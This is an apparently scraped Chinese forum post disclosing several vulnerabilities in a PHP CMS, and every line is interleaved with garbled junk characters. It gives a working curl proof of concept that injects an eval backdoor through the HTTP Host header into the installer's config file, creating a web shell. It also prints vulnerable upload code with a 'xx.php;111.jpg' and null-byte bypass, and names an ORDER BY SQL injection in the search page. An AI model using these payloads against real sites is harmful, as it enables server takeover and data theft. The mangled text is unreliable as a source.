注入:! ^$ p; B" B. I( N/ |
B/ A" ^. @9 W# j9 m4 p; t之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
- k" ^3 @ w2 d8 N0 Y! K
* @2 `: i' `9 t% \9 |) n鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件& w7 a5 T1 p1 M" T) Y9 c
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
+ m- _( h, @2 V" D3 E$ U- O 9 C+ @. D2 r1 v/ j. p s p a
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响3 W. t- S/ R) g; d1 e" J2 ~( t
1 Q/ V( k1 H$ C, h6 p
分析:0 F, c. d' b \% H3 }
7 P! |$ H7 K6 ] $ M+ P b* n X8 r! ^
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
) ~1 [- G1 h* J# u8 D! c % W& E( G9 F5 U: ~, S' V$ d$ k3 z
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
* M2 B1 y! z( A $filestr=str_replace(" ","",$filestr);/ h( W- P8 o3 y* K C7 g
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
* R/ Y/ R( g1 h $filestr=str_replace("DefaultDbName",$dbname,$filestr);
( ^; l: k, x* i1 n' E $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);7 K( U$ q& ]% l
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);, e- t( i- s- r; r1 ~
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);. p/ L% x4 l" C# Z! q
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
; q+ q, u. a% q6 b: Y/ Y3 ~ ` M. n $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
1 ` ?* z3 |$ D8 K" i, w g % ]5 R7 s4 |% @, T+ O( ^
fwrite(fopen($ConFile,"w"),$filestr,30000);
- C" D1 G* H" r$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
8 O! `8 U+ C) ~9 ^& { ^
4 T! o* z% \; B+ Cpoc:
2 N6 S' S. R, S% B; D8 B' i 0 u- d" u" j% u: n2 X
?
- I' T, V! B1 j S& p8 ]% ]$ S1
8 J' V% B1 }8 Dcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"8 |2 J+ m' S, g9 J3 x8 u
shell地址: /config.inc.php1 a9 O( w8 U6 G; ~( b
跟之前的 phpcms一样 需要远程数据库+ L' t, |3 C8 Z# J8 A! a: F- b! [
" q1 Y, C8 o# P) J+ @/ s% B——————————————————–' N8 N6 T* h( V" n7 r
上传漏洞(需要进后台):
$ i% \! L$ I+ w5 U0 p& ^漏洞文件: /kedit/upload_cgi/upload.php/ M1 B1 r6 X6 U8 k
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
# w( S, _, W+ ~( a% r: G+ p! x
# w8 H8 E: C3 J2 ^9 i
) q% C& _$ x6 H1 p6 _<?php
3 l& o5 M' b4 @7 {' `2 J( M define("ROOTPATH", "../../");) J h9 d& |0 b! Q
include(ROOTPATH."includes/admin.inc.php");! W) o+ v. G( g; v. X1 Y$ |
NeedAuth(0);
3 }, j2 @8 X- ~7 m; }; r3 B% ] - k" D$ B2 q* }7 [: T
$dt=date("Ymd",time());' S" Q4 A, E) W Q) S
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){2 O; g% M3 G* O
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);! g* q. ?7 `& k; W4 A
}1 w& c4 Y5 ]0 ^: [! |
t2 ?: E; H+ }. n //文件保存目录路径, I9 V+ d' d( V
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
; y; c( w! u" |5 h: B/ Y9 l, E echo $save_path;* L) n& m, |, u
//文件保存目录URL
n" O' n3 z% ^$ Y5 e $save_url = '../../'.$_POST['attachPath'].$dt.'/';
$ O; m/ J/ k8 n. N # A# e8 W- Q+ ?3 g0 l
//定义允许上传的文件扩展名
. p: o. K- k! n; U $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
: Z/ c9 [: A* Y3 b+ h3 G' x
& L U' q) S" K- \) r2 c( @ //最大文件大小
4 i7 V( M5 C4 r" T0 `; R% i" @; B! R $max_size = 1000000;
: l6 D1 r) l* [: G3 Y {/ _
$ g% d" |3 p! ]# Y //更改目录权限 a( Z6 }7 s0 k9 _$ x, ]4 O }
@mkdir($save_path, 0777);
# J& P7 q9 E _: Z 0 ]$ J" V @% G2 J0 E
//文件的全部路径
" l( y7 o s4 j O3 S* g2 b $file_path = $save_path.$_POST['fileName']; //保存文件名
' ~' Q: V* S3 R6 K# g7 N+ e0 d
" k* F3 y; E" }/ t, b //文件URL
2 a) e; a5 U, r( @* f) c $file_url = $save_url.$_POST['fileName'];
r K6 n, @& S//有上传文件时' A3 r5 B% o; t4 N# W6 I8 o
if (empty($_FILES) === false) {4 U f# B! @0 }( {, v/ I1 c
! X q2 R" c' C. u
//原文件名( R9 C% f, d4 Y, f2 e
$file_name = $_FILES['fileData']['name'];3 N6 C) m4 v- u( u% f0 A/ j. G
//服务器上临时文件名
1 T4 x) |* U) i- J/ Q6 t) y $tmp_name = $_FILES['fileData']['tmp_name'];! [1 z# P6 C5 T7 r
//文件大小
R: [ t1 Q V8 l$ w $file_size = $_FILES['fileData']['size'];
( t% K% n$ F: H% M0 e+ y" @3 F( o2 o //检查目录
6 N0 e- {$ E' ?, A/ l# U if (@is_dir($save_path) === false) {
3 z8 N4 G- ~2 u) i) _* d- w+ [ alert("上传目录不存在。");
7 j+ P) Y! F( o5 S0 ]% Z }
7 S# y/ D- q: X9 U- k //检查目录写权限7 q6 `. G2 t% S
if (@is_writable($save_path) === false) {
0 H" v. l5 D- w/ ~) y2 B6 v3 j/ j alert("上传目录没有写权限。");
0 n* [( D* W8 p: o/ f T& ~ }
" P5 `* c1 @! Z" _4 q9 Y1 ` //检查是否已上传
" m. P- ?/ C' F! A! f if (@is_uploaded_file($tmp_name) === false) {
5 v" H8 a) Y" k: G alert("临时文件可能不是上传文件。");
5 l! a4 t' j1 Y0 `& @ }3 h/ d8 E( S+ ]2 I3 j
//检查文件大小: j& W3 B9 q1 [; R0 j$ F; w; o3 R
if ($file_size > $max_size) {$ q7 L/ |8 a, T- ^
alert("上传文件大小超过限制。");
0 I8 ~7 r' r! {; |' U }
+ g! Q! b: w7 @" Q; F% l //获得文件扩展名5 ?3 Q, H/ q" M% j
$temp_arr = explode(".", $_POST['fileName']);, w8 B2 u' `% G; n9 h2 X" v
$file_ext = array_pop($temp_arr);1 D6 C6 J- T$ ~: |$ r% s
$file_ext = trim($file_ext);- X+ x2 h5 H9 G' D
$file_ext = strtolower($file_ext);
$ V- ~8 @- v6 x' T! y9 S - k+ y* e& }7 _2 A* N& O# s s( Z
//检查扩展名 1 h0 j$ @% L* C# e. B( y+ t$ O
if (in_array($file_ext, $ext_arr) === false) {
& m! Y8 K1 F) S alert("上传文件扩展名是不允许的扩展名。");$ X: q/ ^- }( j8 Z. F0 p
}
+ ]% N8 ^5 M" W6 W + V+ ~+ W5 h _( p% j, v
//移动文件 2 u, N9 F. j4 {+ U' |, ?# M4 N( O
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
, E9 n- r% Q4 L1 J* Y. V a0 C if (move_uploaded_file($tmp_name, $file_path) === false) {% j8 v5 M9 `' |* P( V1 [9 c
alert("上传文件失败。");, c) l# C6 ]+ B# f$ k' o
}/ [% q3 M! L' n M% H
^' c6 `3 g- U/ J1 b: g
@chmod($file_path,0666);
0 G# O+ c# C/ [! R! b, [- Y 5 H& N! U+ T! W1 c3 D0 G
?>
. _! X4 D; Q/ J, @抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
" T$ `! M. } U: {; G! z
6 b+ x7 a5 k oapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
$ X1 F5 G; \6 J& g. G8 |* r
& p2 f% J0 u6 i& B——————————————————: x0 O4 A. W* U3 ^; v
注入漏洞:
0 v0 c& {! y) t+ \& r漏洞文件:search/module/search.php6 h9 Z; t S. E' V& `8 S9 s! n, {
/search/index.php?key=1&myord=1 [sqlinjection]
, I0 ^' v( n) }) H 5 b8 `, T/ b3 `2 E0 s6 }
9 [1 N' g3 m! f8 F/ i
<?php
; J& X' I" {4 m* }1 A! }2 | // ... 省略 n 行...& T) G: j: @, T3 D; J p0 J
//第18行:8 x9 l8 F* y& y- J9 i: W
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响+ h) [; K# G; Q# q: f
$page=htmlspecialchars($_GET["page"]);
$ k \. G$ c$ C9 i+ o5 j! A $myord=htmlspecialchars($_GET["myord"]);
( W) [& q3 A7 `4 M- n* Y) [/ n 4 D9 o {) H% p g; D" J% e
// ... 省略 n 行...6 j! i2 G% G/ K7 v$ |" G3 O
$key,$myord 两个参数带入查询
" y! M/ }9 P. e1 M3 U) d! K //第47行 $key:' h- a0 o9 G% M; I7 Z
; J3 g' ~; o) e! h8 X
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
+ o- l# h1 w3 ^" n8 Z
$ x1 F5 q" [" S( N6 _6 F9 P# Q //第197行 $myord
, ?. F) w- G+ M- Y( c7 @; k $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
* Y6 C- j7 W9 s/ W. f
" T# G' }4 L/ v: c- ] ?>9 \, B6 g2 l8 u- _+ W
|